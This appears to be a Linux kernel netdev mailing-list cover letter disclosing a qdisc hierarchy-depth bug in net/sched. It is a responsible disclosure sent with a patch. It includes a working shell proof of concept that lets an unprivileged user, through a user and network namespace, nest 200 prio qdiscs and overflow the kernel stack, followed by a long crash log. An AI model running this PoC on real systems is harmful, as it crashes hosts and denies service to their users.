Thread (9 messages) read the whole thread 9 messages, 4 authors, 21h ago
HOTtoday

[PATCH net 0/1] net/sched: fix qdisc graft hierarchy validation

From: Ren Wei <hidden>
Date: 2026-07-29 15:40:59

From: Zijie Huang <redacted>

Hi Linux kernel maintainers,

We found and validated a issue in net/sched/sch_api.c. The bug is reachable
by a non-root user via user and net namespace. We've tested it, and it
should not affect any other functionality.

We will provide detailed information about the bug in this email, along
with a PoC to trigger it.

---- details below ----

Bug details:

The qdisc create-and-graft path allows users to keep attaching new classful
qdiscs under an already deep parent hierarchy. Such a hierarchy can later
be walked recursively and exhaust the kernel stack.

This patch adds a parent-depth check before qdisc_create() and rejects
creating a new qdisc when the parent hierarchy is already too deep.

Reproducer:

    chmod +x ./poc.sh
    ./poc.sh namespace

We run the PoC in a 2 vCPU, 2 GB RAM x86 QEMU environment.

------BEGIN poc.sh------

#!/bin/sh
set -eu
PATH=/usr/sbin:/usr/bin:/sbin:/bin

DEPTH="${DEPTH:-200}"
IFACE0="${IFACE0:-veth0}"
IFACE1="${IFACE1:-veth1}"
MODE="${1:-root}"

setup_and_trigger() {
	ip link del "$IFACE0" 2>/dev/null || true
	ip link add "$IFACE0" type veth peer name "$IFACE1"

	sysctl -q -w "net.ipv6.conf.$IFACE0.disable_ipv6=1"
	sysctl -q -w "net.ipv6.conf.$IFACE1.disable_ipv6=1"

	ip addr add 10.0.0.1/24 dev "$IFACE0"
	ip addr add 10.0.0.2/24 dev "$IFACE1"

	tc qdisc add dev "$IFACE0" root handle 1: prio

	i=1
	while [ "$i" -le "$DEPTH" ]; do
		parent_major="$(printf '%x' "$i")"
		child_major="$(printf '%x' $((i + 1)))"
		tc qdisc add dev "$IFACE0" parent "${parent_major}:2" handle "${child_major}:" prio
		i=$((i + 1))
	done

	ip link set "$IFACE0" up
	ip link set "$IFACE1" up

	ping -c 1 -W 1 -I "$IFACE0" 10.0.0.2 >/dev/null
}

case "$MODE" in
root)
	setup_and_trigger
	;;
namespace)
	exec unshare -Urn sh "$0" inner
	;;
inner)
	setup_and_trigger
	;;
*)
	echo "usage: $0 [root|namespace]" >&2
	exit 1
	;;
esac

------END poc.sh--------

----BEGIN crash log----

[  192.465021][    C0] BUG: TASK stack guard page was hit at ffffc9000dbd7fd8 (stack is ffffc9000dbd8000..ffffc9000dbe0000)
[  192.465084][    C0] Oops: stack guard page: 0000 [#1] SMP KASAN NOPTI
[  192.465127][    C0] CPU: 0 UID: 1001 PID: 10556 Comm: ping Not tainted 7.2.0-rc4-00413-ge095f249e220 #1 PREEMPT(full) 
[  192.465149][    C0] Hardware name: QEMU Standard PC (i440FX + PIIX, 1996), BIOS 1.17.0-debian-1.17.0-1 04/01/2014
[  192.465153][    C0] RIP: 0010:prio_enqueue+0x2e/0x7c0
[  192.465254][    C0] Code: 55 48 89 e5 41 57 41 56 41 55 49 bd 00 00 00 00 00 fc ff df 41 54 49 89 fc 53 48 89 f3 48 83 e4 f0 48 83 c4 80 4c 8d 74 24 20 <48> 89 54 24 18 48 c7 44 24 20 b3 8a b5 41 49 c1 ee 03 48 c7 44 24
[  192.465260][    C0] RSP: 0018:ffffc9000dbd7fe0 EFLAGS: 00010283
[  192.465274][    C0] RAX: ffffffff89a12450 RBX: ffff88804c17cc00 RCX: ffffffff89a1298d
[  192.465278][    C0] RDX: ffffc9000dbdf380 RSI: ffff88804c17cc00 RDI: ffff88803c2ca580
[  192.465282][    C0] RBP: ffffc9000dbd8090 R08: 0000000000000005 R09: 000000000000ffff
[  192.465286][    C0] R10: 0000000000000000 R11: 0000000000000001 R12: ffff88803c2ca580
[  192.465289][    C0] R13: dffffc0000000000 R14: ffffc9000dbd8000 R15: ffff88804c179280
[  192.465293][    C0] FS:  00007f69fe54f000(0000) GS:ffff8880d62af000(0000) knlGS:0000000000000000
[  192.465306][    C0] CS:  0010 DS: 0000 ES: 0000 CR0: 0000000080050033
[  192.465310][    C0] CR2: ffffc9000dbd7fd8 CR3: 000000004b49e000 CR4: 0000000000352ef0
[  192.465314][    C0] Call Trace:
[  192.465316][    C0]  <TASK>
[  192.465319][    C0]  ? tcf_classify+0x3db/0x1250
[  192.465343][    C0]  prio_enqueue+0x209/0x7c0
[  192.465349][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465356][    C0]  prio_enqueue+0x209/0x7c0
[  192.465363][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465370][    C0]  prio_enqueue+0x209/0x7c0
[  192.465376][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465384][    C0]  prio_enqueue+0x209/0x7c0
[  192.465390][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465398][    C0]  prio_enqueue+0x209/0x7c0
[  192.465404][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465411][    C0]  prio_enqueue+0x209/0x7c0
[  192.465417][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465425][    C0]  prio_enqueue+0x209/0x7c0
[  192.465431][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465439][    C0]  prio_enqueue+0x209/0x7c0
[  192.465445][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465453][    C0]  prio_enqueue+0x209/0x7c0
[  192.465459][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465467][    C0]  prio_enqueue+0x209/0x7c0
[  192.465473][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465480][    C0]  prio_enqueue+0x209/0x7c0
[  192.465486][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465494][    C0]  prio_enqueue+0x209/0x7c0
[  192.465500][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465507][    C0]  prio_enqueue+0x209/0x7c0
[  192.465513][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465520][    C0]  prio_enqueue+0x209/0x7c0
[  192.465527][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465562][    C0]  prio_enqueue+0x209/0x7c0
[  192.465656][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465665][    C0]  prio_enqueue+0x209/0x7c0
[  192.465673][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465682][    C0]  prio_enqueue+0x209/0x7c0
[  192.465690][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465699][    C0]  prio_enqueue+0x209/0x7c0
[  192.465707][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465716][    C0]  prio_enqueue+0x209/0x7c0
[  192.465735][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465744][    C0]  prio_enqueue+0x209/0x7c0
[  192.465753][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465779][    C0]  prio_enqueue+0x209/0x7c0
[  192.465807][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465816][    C0]  prio_enqueue+0x209/0x7c0
[  192.465824][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465834][    C0]  prio_enqueue+0x209/0x7c0
[  192.465843][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465851][    C0]  prio_enqueue+0x209/0x7c0
[  192.465858][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465865][    C0]  prio_enqueue+0x209/0x7c0
[  192.465871][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465879][    C0]  prio_enqueue+0x209/0x7c0
[  192.465885][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465893][    C0]  prio_enqueue+0x209/0x7c0
[  192.465899][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465907][    C0]  prio_enqueue+0x209/0x7c0
[  192.465913][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465921][    C0]  prio_enqueue+0x209/0x7c0
[  192.465927][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465935][    C0]  prio_enqueue+0x209/0x7c0
[  192.465941][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465949][    C0]  prio_enqueue+0x209/0x7c0
[  192.465955][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465962][    C0]  prio_enqueue+0x209/0x7c0
[  192.465969][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465976][    C0]  prio_enqueue+0x209/0x7c0
[  192.465983][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.465990][    C0]  prio_enqueue+0x209/0x7c0
[  192.465996][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466004][    C0]  prio_enqueue+0x209/0x7c0
[  192.466011][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466018][    C0]  prio_enqueue+0x209/0x7c0
[  192.466025][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466032][    C0]  prio_enqueue+0x209/0x7c0
[  192.466039][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466046][    C0]  prio_enqueue+0x209/0x7c0
[  192.466053][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466060][    C0]  prio_enqueue+0x209/0x7c0
[  192.466066][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466074][    C0]  prio_enqueue+0x209/0x7c0
[  192.466080][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466088][    C0]  prio_enqueue+0x209/0x7c0
[  192.466094][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466102][    C0]  prio_enqueue+0x209/0x7c0
[  192.466108][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466116][    C0]  prio_enqueue+0x209/0x7c0
[  192.466122][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466130][    C0]  prio_enqueue+0x209/0x7c0
[  192.466136][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466144][    C0]  prio_enqueue+0x209/0x7c0
[  192.466150][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466158][    C0]  prio_enqueue+0x209/0x7c0
[  192.466164][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466172][    C0]  prio_enqueue+0x209/0x7c0
[  192.466178][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466186][    C0]  prio_enqueue+0x209/0x7c0
[  192.466192][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466200][    C0]  prio_enqueue+0x209/0x7c0
[  192.466206][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466228][    C0]  prio_enqueue+0x209/0x7c0
[  192.466235][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466243][    C0]  prio_enqueue+0x209/0x7c0
[  192.466249][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466258][    C0]  prio_enqueue+0x209/0x7c0
[  192.466264][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466272][    C0]  prio_enqueue+0x209/0x7c0
[  192.466278][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466285][    C0]  prio_enqueue+0x209/0x7c0
[  192.466291][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466299][    C0]  prio_enqueue+0x209/0x7c0
[  192.466305][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466312][    C0]  prio_enqueue+0x209/0x7c0
[  192.466319][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466326][    C0]  prio_enqueue+0x209/0x7c0
[  192.466333][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466340][    C0]  prio_enqueue+0x209/0x7c0
[  192.466347][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466354][    C0]  prio_enqueue+0x209/0x7c0
[  192.466360][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466367][    C0]  prio_enqueue+0x209/0x7c0
[  192.466373][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466380][    C0]  prio_enqueue+0x209/0x7c0
[  192.466387][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466395][    C0]  prio_enqueue+0x209/0x7c0
[  192.466401][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466409][    C0]  prio_enqueue+0x209/0x7c0
[  192.466415][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466422][    C0]  prio_enqueue+0x209/0x7c0
[  192.466428][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466436][    C0]  prio_enqueue+0x209/0x7c0
[  192.466442][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466449][    C0]  prio_enqueue+0x209/0x7c0
[  192.466455][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466471][    C0]  prio_enqueue+0x209/0x7c0
[  192.466477][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466484][    C0]  prio_enqueue+0x209/0x7c0
[  192.466490][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466498][    C0]  prio_enqueue+0x209/0x7c0
[  192.466504][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466512][    C0]  prio_enqueue+0x209/0x7c0
[  192.466518][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466525][    C0]  prio_enqueue+0x209/0x7c0
[  192.466532][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466539][    C0]  prio_enqueue+0x209/0x7c0
[  192.466545][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466553][    C0]  prio_enqueue+0x209/0x7c0
[  192.466559][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466567][    C0]  prio_enqueue+0x209/0x7c0
[  192.466573][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466581][    C0]  prio_enqueue+0x209/0x7c0
[  192.466587][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466594][    C0]  prio_enqueue+0x209/0x7c0
[  192.466600][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466608][    C0]  prio_enqueue+0x209/0x7c0
[  192.466614][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466621][    C0]  prio_enqueue+0x209/0x7c0
[  192.466628][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466635][    C0]  prio_enqueue+0x209/0x7c0
[  192.466641][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466649][    C0]  prio_enqueue+0x209/0x7c0
[  192.466655][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466662][    C0]  prio_enqueue+0x209/0x7c0
[  192.466668][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466675][    C0]  prio_enqueue+0x209/0x7c0
[  192.466682][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466690][    C0]  prio_enqueue+0x209/0x7c0
[  192.466696][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466703][    C0]  prio_enqueue+0x209/0x7c0
[  192.466709][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466716][    C0]  prio_enqueue+0x209/0x7c0
[  192.466722][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466730][    C0]  prio_enqueue+0x209/0x7c0
[  192.466736][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466743][    C0]  prio_enqueue+0x209/0x7c0
[  192.466749][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466757][    C0]  prio_enqueue+0x209/0x7c0
[  192.466763][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466770][    C0]  prio_enqueue+0x209/0x7c0
[  192.466776][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466784][    C0]  prio_enqueue+0x209/0x7c0
[  192.466790][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466797][    C0]  prio_enqueue+0x209/0x7c0
[  192.466803][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466810][    C0]  prio_enqueue+0x209/0x7c0
[  192.466816][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466824][    C0]  prio_enqueue+0x209/0x7c0
[  192.466830][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466837][    C0]  prio_enqueue+0x209/0x7c0
[  192.466844][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466851][    C0]  prio_enqueue+0x209/0x7c0
[  192.466857][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466865][    C0]  prio_enqueue+0x209/0x7c0
[  192.466871][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466878][    C0]  prio_enqueue+0x209/0x7c0
[  192.466884][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466892][    C0]  prio_enqueue+0x209/0x7c0
[  192.466898][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466905][    C0]  prio_enqueue+0x209/0x7c0
[  192.466911][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466919][    C0]  prio_enqueue+0x209/0x7c0
[  192.466925][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466932][    C0]  prio_enqueue+0x209/0x7c0
[  192.466939][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466946][    C0]  prio_enqueue+0x209/0x7c0
[  192.466952][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466959][    C0]  prio_enqueue+0x209/0x7c0
[  192.466965][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466973][    C0]  prio_enqueue+0x209/0x7c0
[  192.466979][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.466986][    C0]  prio_enqueue+0x209/0x7c0
[  192.466992][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467000][    C0]  prio_enqueue+0x209/0x7c0
[  192.467014][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467022][    C0]  prio_enqueue+0x209/0x7c0
[  192.467028][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467035][    C0]  prio_enqueue+0x209/0x7c0
[  192.467043][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467050][    C0]  prio_enqueue+0x209/0x7c0
[  192.467056][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467063][    C0]  prio_enqueue+0x209/0x7c0
[  192.467070][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467077][    C0]  prio_enqueue+0x209/0x7c0
[  192.467083][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467091][    C0]  prio_enqueue+0x209/0x7c0
[  192.467097][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467104][    C0]  prio_enqueue+0x209/0x7c0
[  192.467111][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467118][    C0]  prio_enqueue+0x209/0x7c0
[  192.467124][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467132][    C0]  prio_enqueue+0x209/0x7c0
[  192.467138][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467145][    C0]  prio_enqueue+0x209/0x7c0
[  192.467152][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467159][    C0]  prio_enqueue+0x209/0x7c0
[  192.467165][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467174][    C0]  prio_enqueue+0x209/0x7c0
[  192.467180][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467188][    C0]  prio_enqueue+0x209/0x7c0
[  192.467194][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467201][    C0]  prio_enqueue+0x209/0x7c0
[  192.467207][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467215][    C0]  prio_enqueue+0x209/0x7c0
[  192.467221][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467228][    C0]  prio_enqueue+0x209/0x7c0
[  192.467235][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467242][    C0]  prio_enqueue+0x209/0x7c0
[  192.467248][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467256][    C0]  prio_enqueue+0x209/0x7c0
[  192.467262][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467269][    C0]  prio_enqueue+0x209/0x7c0
[  192.467275][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467283][    C0]  prio_enqueue+0x209/0x7c0
[  192.467289][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467297][    C0]  prio_enqueue+0x209/0x7c0
[  192.467303][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467310][    C0]  prio_enqueue+0x209/0x7c0
[  192.467317][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467324][    C0]  prio_enqueue+0x209/0x7c0
[  192.467330][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467338][    C0]  prio_enqueue+0x209/0x7c0
[  192.467344][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467351][    C0]  prio_enqueue+0x209/0x7c0
[  192.467357][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467365][    C0]  prio_enqueue+0x209/0x7c0
[  192.467371][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467379][    C0]  prio_enqueue+0x209/0x7c0
[  192.467385][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467392][    C0]  prio_enqueue+0x209/0x7c0
[  192.467398][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467406][    C0]  prio_enqueue+0x209/0x7c0
[  192.467412][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467419][    C0]  prio_enqueue+0x209/0x7c0
[  192.467425][    C0]  ? __pfx_stack_trace_save+0x10/0x10
[  192.467432][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467439][    C0]  prio_enqueue+0x209/0x7c0
[  192.467445][    C0]  ? vma_complete+0x9f4/0xf70
[  192.467472][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467478][    C0]  ? __lock_acquire+0x49f/0x1a40
[  192.467487][    C0]  prio_enqueue+0x209/0x7c0
[  192.467493][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467500][    C0]  prio_enqueue+0x209/0x7c0
[  192.467506][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467513][    C0]  ? __pfx_stack_trace_consume_entry+0x10/0x10
[  192.467520][    C0]  prio_enqueue+0x209/0x7c0
[  192.467526][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467533][    C0]  prio_enqueue+0x209/0x7c0
[  192.467539][    C0]  ? stack_trace_save+0x8e/0xc0
[  192.467545][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467551][    C0]  ? stack_depot_save_flags+0x27/0x9d0
[  192.467577][    C0]  prio_enqueue+0x209/0x7c0
[  192.467583][    C0]  ? mas_wr_split+0x1c23/0x3960
[  192.467613][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467619][    C0]  ? mprotect_fixup+0x27a/0xe30
[  192.467629][    C0]  prio_enqueue+0x209/0x7c0
[  192.467635][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467642][    C0]  prio_enqueue+0x209/0x7c0
[  192.467648][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467655][    C0]  prio_enqueue+0x209/0x7c0
[  192.467661][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467668][    C0]  prio_enqueue+0x209/0x7c0
[  192.467675][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467680][    C0]  ? __lock_acquire+0x49f/0x1a40
[  192.467688][    C0]  prio_enqueue+0x209/0x7c0
[  192.467695][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467702][    C0]  prio_enqueue+0x209/0x7c0
[  192.467708][    C0]  ? __pfx_stack_trace_consume_entry+0x10/0x10
[  192.467715][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467721][    C0]  ? kernel_text_address+0x8d/0x100
[  192.467738][    C0]  ? unwind_get_return_address+0x59/0xa0
[  192.467753][    C0]  prio_enqueue+0x209/0x7c0
[  192.467760][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467767][    C0]  prio_enqueue+0x209/0x7c0
[  192.467774][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467781][    C0]  prio_enqueue+0x209/0x7c0
[  192.467787][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467795][    C0]  prio_enqueue+0x209/0x7c0
[  192.467801][    C0]  ? __pfx_prio_enqueue+0x10/0x10
[  192.467807][    C0]  ? __pfx_do_raw_spin_lock+0x10/0x10
[  192.467816][    C0]  __dev_queue_xmit+0x2ffa/0x4970
[  192.467840][    C0]  ? kmalloc_reserve+0x148/0x350
[  192.467855][    C0]  ? __pfx___dev_queue_xmit+0x10/0x10
[  192.467863][    C0]  ? lock_acquire+0x180/0x370
[  192.467870][    C0]  ? find_held_lock+0x2b/0x80
[  192.467875][    C0]  ? nf_hook.constprop.0+0x2f0/0x760
[  192.467884][    C0]  ? nf_hook.constprop.0+0x2f0/0x760
[  192.467894][    C0]  ? nf_hook.constprop.0+0x2fa/0x760
[  192.467902][    C0]  ? __pfx_arp_xmit_finish+0x10/0x10
[  192.467911][    C0]  ? __pfx_nf_hook.constprop.0+0x10/0x10
[  192.467920][    C0]  ? lock_acquire+0x1b9/0x370
[  192.467928][    C0]  arp_xmit+0x106/0x2e0
[  192.467937][    C0]  arp_send_dst+0x200/0x280
[  192.467945][    C0]  arp_solicit+0x672/0x1070
[  192.467951][    C0]  ? trace_kmem_cache_alloc+0xdd/0x100
[  192.467959][    C0]  ? __kasan_slab_alloc+0x89/0x90
[  192.467966][    C0]  ? __pfx_arp_solicit+0x10/0x10
[  192.467972][    C0]  ? neigh_probe+0x72/0x110
[  192.467988][    C0]  ? __pfx_arp_solicit+0x10/0x10
[  192.467993][    C0]  neigh_probe+0xce/0x110
[  192.468001][    C0]  __neigh_event_send+0xabe/0x13d0
[  192.468009][    C0]  neigh_resolve_output+0x550/0x8f0
[  192.468015][    C0]  ? __pfx____neigh_create+0x10/0x10
[  192.468022][    C0]  ip_finish_output2+0x851/0x2400
[  192.468032][    C0]  ? __pfx_ip_finish_output2+0x10/0x10
[  192.468039][    C0]  ? __pfx_ip_dst_mtu_maybe_forward+0x10/0x10
[  192.468048][    C0]  ? find_held_lock+0x2b/0x80
[  192.468053][    C0]  __ip_finish_output.part.0+0x444/0x6f0
[  192.468062][    C0]  ip_output+0x39b/0xc10
[  192.468070][    C0]  ? __pfx_ip_output+0x10/0x10
[  192.468077][    C0]  ? __ip_make_skb+0x111e/0x1f90
[  192.468086][    C0]  ? __pfx_ip_finish_output+0x10/0x10
[  192.468094][    C0]  ? __pfx_ip_output+0x10/0x10
[  192.468102][    C0]  ip_push_pending_frames+0x284/0x300
[  192.468111][    C0]  raw_sendmsg+0x1509/0x3590
[  192.468117][    C0]  ? __pfx_raw_sendmsg+0x10/0x10
[  192.468123][    C0]  ? avc_has_perm+0x135/0x1e0
[  192.468148][    C0]  ? __pfx_avc_has_perm+0x10/0x10
[  192.468157][    C0]  ? __pfx_tomoyo_check_inet_address+0x10/0x10
[  192.468177][    C0]  ? __pfx_raw_sendmsg+0x10/0x10
[  192.468183][    C0]  inet_sendmsg+0x11c/0x140
[  192.468192][    C0]  __sys_sendto+0x453/0x4e0
[  192.468214][    C0]  ? __pfx_inet_sendmsg+0x10/0x10
[  192.468223][    C0]  ? __pfx___sys_sendto+0x10/0x10
[  192.468231][    C0]  ? count_memcg_events_mm.constprop.0+0xfa/0x2a0
[  192.468241][    C0]  __x64_sys_sendto+0xe0/0x1c0
[  192.468249][    C0]  ? do_syscall_64+0x90/0x860
[  192.468257][    C0]  ? lockdep_hardirqs_on+0x78/0x100
[  192.468266][    C0]  do_syscall_64+0x10b/0x860
[  192.468275][    C0]  entry_SYSCALL_64_after_hwframe+0x77/0x7f
[  192.468281][    C0] RIP: 0033:0x7f69fe7cf046
[  192.468295][    C0] Code: 0e 0d 00 f7 d8 64 89 02 48 c7 c0 ff ff ff ff eb b8 0f 1f 00 41 89 ca 64 8b 04 25 18 00 00 00 85 c0 75 11 b8 2c 00 00 00 0f 05 <48> 3d 00 f0 ff ff 77 72 c3 90 55 48 83 ec 30 44 89 4c 24 2c 4c 89
[  192.468301][    C0] RSP: 002b:00007ffdb7ccbf98 EFLAGS: 00000246 ORIG_RAX: 000000000000002c
[  192.468307][    C0] RAX: ffffffffffffffda RBX: 00007ffdb7ccd720 RCX: 00007f69fe7cf046
[  192.468311][    C0] RDX: 0000000000000040 RSI: 000055becbf95950 RDI: 0000000000000003
[  192.468315][    C0] RBP: 000055becbf95950 R08: 00007ffdb7ccf99c R09: 0000000000000010
[  192.468319][    C0] R10: 0000000000000000 R11: 0000000000000246 R12: 0000000000000040
[  192.468322][    C0] R13: 00007ffdb7ccd6e0 R14: 00007ffdb7ccbfa0 R15: 0000001d00000001
[  192.468338][    C0]  </TASK>
[  192.468349][    C0] Modules linked in:
[  192.468370][    C0] ---[ end trace 0000000000000000 ]---
[  192.468381][    C0] RIP: 0010:prio_enqueue+0x2e/0x7c0
[  192.468388][    C0] Code: 55 48 89 e5 41 57 41 56 41 55 49 bd 00 00 00 00 00 fc ff df 41 54 49 89 fc 53 48 89 f3 48 83 e4 f0 48 83 c4 80 4c 8d 74 24 20 <48> 89 54 24 18 48 c7 44 24 20 b3 8a b5 41 49 c1 ee 03 48 c7 44 24
[  192.468394][    C0] RSP: 0018:ffffc9000dbd7fe0 EFLAGS: 00010283
[  192.468399][    C0] RAX: ffffffff89a12450 RBX: ffff88804c17cc00 RCX: ffffffff89a1298d
